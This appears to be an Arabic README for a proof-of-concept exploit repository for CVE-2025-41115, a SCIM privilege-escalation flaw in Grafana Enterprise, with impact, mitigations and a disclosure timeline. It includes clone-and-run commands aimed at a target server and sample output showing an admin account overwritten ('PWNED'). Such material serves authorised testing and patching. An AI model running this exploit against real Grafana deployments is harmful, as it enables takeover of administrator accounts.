🔐 CVE-2025-41115: تصعيد امتيازات SCIM الحرج في Grafana

ثغرة تصعيد امتيازات SCIM الحرجة في Grafana Enterprise

🌟 الملخص

CVE-2025-41115 هي ثغرة حرجة (CVSS 10.0) في Grafana Enterprise تؤثر على ميزة توفير مستخدمي SCIM.

عندما يكون توفير SCIM مفعّلاً و user_sync_enabled = true، يمكن لعميل SCIM خبيث إرسال قيمة رقمية لـ externalId، والتي يقوم Grafana بتعيينها خطأً إلى معرف مستخدم داخلي — مما يسمح للمهاجم بـ انتحال أو الكتابة فوق الحسابات الموجودة، بما في ذلك حسابات المسؤولين. ⚠️ إصدار Grafana OSS غير متأثر.

🚨 التأثير

• 🔓 الاستيلاء على الحسابات (بما في ذلك حسابات المسؤولين)
• 🚀 تصعيد الامتيازات بصلاحيات مسؤول كاملة
• 🗄️ الوصول إلى لوحات المعلومات / البيانات / إعدادات المؤسسة
• 🌐 قابل للاستغلال عبر الشبكة بمتطلبات منخفضة
• 🛑 عالِ الخطورة لإعدادات تعدد المستأجرين أو SSO للمؤسسات

الشروط المطلوبة للاستغلال:

1. enableSCIM = true
2. [auth.scim] user_sync_enabled = true

🧩 الإصدارات المتأثرة

💡 خدمات Grafana المُدارة (AWS/Azure/Grafana Cloud) تم تصحيحها بواسطة البائعين.

كيفية استخدامها في 3 ثوانٍ:

1. التحميل

sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git

أو فقط انسخ والصق السكربت أعلاه في ملف

2. اجعله قابلاً للتنفيذ (اختياري)

chmod +x CVE-2025-41115.py

3. شغّل

python3 CVE-2025-41115.py http://10.10.13.37:3000
# أو
python3 CVE-2025-41115.py https://grafana.company.com

عندما يعمل الاستغلال فعليًا (أي أن الهدف ضعيف والرمز صالح)، سترى مخرجات مطابقة تمامًا لهذا: نص

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",                     ←←← THIS IS THE KEY LINE (UID 1 overwritten)
  "externalId": "1",
  "meta": { ... },
  "userName": "[email protected]",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "[email protected]",
      "primary": true
    }
  ],
  "active": true
}

🔧 خطوات التخفيف

🥇 1. قم بالترقية فورًا

قم بالتحديث إلى 12.3.0 أو أحد إصدارات الصيانة المصححة.

🛠️ 2. تحقق من إعداد SCIM الخاص بك

إذا كنت لا تستخدم توفير SCIM، فتأكد من أن لديك:

enableSCIM = false

أو

[auth.scim]
user_sync_enabled = false

📜 3. تدقيق السجلات

ابحث عن:

• مستخدمون جدد غير متوقعين
• استخدام externalId رقمي
• تغييرات في الصلاحيات

🔐 4. حدود الثقة

تأكد من السماح فقط لموفرات الهوية الموثوقة بالتواصل مع نقطة نهاية SCIM الخاصة بك.

👀 5. رصد محاولات الاستغلال

راقب عمليات تسجيل الدخول المشبوهة، أو أحداث إنشاء المستخدمين، أو الاستيلاء على حسابات المسؤولين.

📅 الجدول الزمني

• 📌 2025-11-04 — تم اكتشاف المشكلة داخليًا
• 📌 2025-11-04 — تم الإعلان عن الحادث
• 📌 2025-11-05 — تم إخطار موفري الخدمات السحابية خصوصًا وتصحيحها
• 📌 2025-11-19 — تم الكشف العام وإصدار الإصلاح الرسمي

📝 ملاحظات إضافية

• 🎯 يكمن الخلل تحديدًا في قيام Grafana بتعيين externalId الرقمي → uid الداخلي.
• 🟢 يتطلب الاستغلال تفعيل SCIM مع مزامنة المستخدمين، لذا فإن العديد من عمليات النشر آمنة افتراضيًا — لكن يجب عليك التأكد.
• ⚡ لا يوجد استغلال مؤكد في البرية وقت الكشف، لكن درجة CVSS 10 تعني أنها خطيرة للغاية.

إخلاء المسؤولية!!!

إن إثبات المفهوم (PoC) هذا مخصص لاختبار الأمان المصرح به والاستخدام التعليمي فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به غير قانوني وقد يؤدي إلى ملاحقة جنائية. لا يتحمل المؤلف والموزع أي مسؤولية عن إساءة الاستخدام. قم بالتصحيح فورًا (≥12.0.6 / 12.3.0+).